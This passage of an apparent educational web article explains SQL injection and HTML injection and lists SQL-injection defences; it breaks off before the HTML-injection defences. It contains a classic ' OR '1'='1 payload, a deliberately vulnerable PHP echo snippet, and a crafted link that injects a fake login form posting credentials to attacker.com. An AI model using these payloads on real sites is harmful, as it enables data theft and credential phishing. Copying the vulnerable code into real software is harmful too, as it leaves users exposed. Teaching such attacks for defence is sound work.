SELECT * FROM users WHERE name = ‘ ‘ OR ‘1’=’1′;
As a result, the sensitive data of all the users will be revealed to the attacker.
Interested readers may find more information about this attack in the following article: What is the SQL injection attack?
How to prevent SQL injection attacks?
There are a couple of precautions we can take to mitigate this attack.
- User input should not be embedded in the query directly. Instead, parameterized statements that work with parameters should be used.
- Type constraints of variables should be properly checked before executing the query.
- For parameterized statements, parameters should be escaped properly. For example, in PHP mysqli_real_escape_string() can be used to escape parameters.
- Certain characters can even be forbidden to be used in the query.
- Database permissions should be limited appropriately. Some tables can be restricted to be fetched without appropriate permissions.
- Bin2hex() and unhex() can be used to convert the parameters to/from hex values. The advantage of this is the output of the unhex() function is returned as a string and not interpreted.
What is the HTML script injection attack?
The HTML injection attack is an attack in which an attacker takes advantage of the security vulnerabilities of a web application and injects his own HTML content into the webpage. Thus, the attacker tricks victims into providing sensitive information.
Example: Let’s assume a web application has a security vulnerability and it has implemented the following piece of PHP code:
<?php $name = $_REQUEST ['name']; ?><html> Welcome <?php echo $name ?>!! </html>
This code has a vulnerability via the name parameter. Suppose an attacker comes to know about the vulnerability and wants to steal an authenticated user’s username and password. So, he uses some social engineering techniques and sends a victim the following link :
/vulnerable.php?name=<h1>Please enter your username and password</h1><form method=”POST” action=”http://attacker.com/login.php”>Username:<input type=”text” name=”username” /> <br><Password:<input type=”password” name=”password” /><input type=”submit” value=”Login” /></form><!–
The attacker may also convert the ASCII characters to hexadecimal so that the link is not human-readable. The attacker may send this link to the victim through an email and say look at some new features on the website.
The victim clicks on the link, and it asks for a username and password. When the victim provides his username and password, the data directly goes to the attacker. The attacker can now impersonate the victim and log into the victim’s account with the victim’s login information.
Interested readers may find more information about this attack in the following article: What is the HTML injection attack?
How to prevent HTML injection attacks?
We can take a couple of steps to prevent this attack:
0 Comments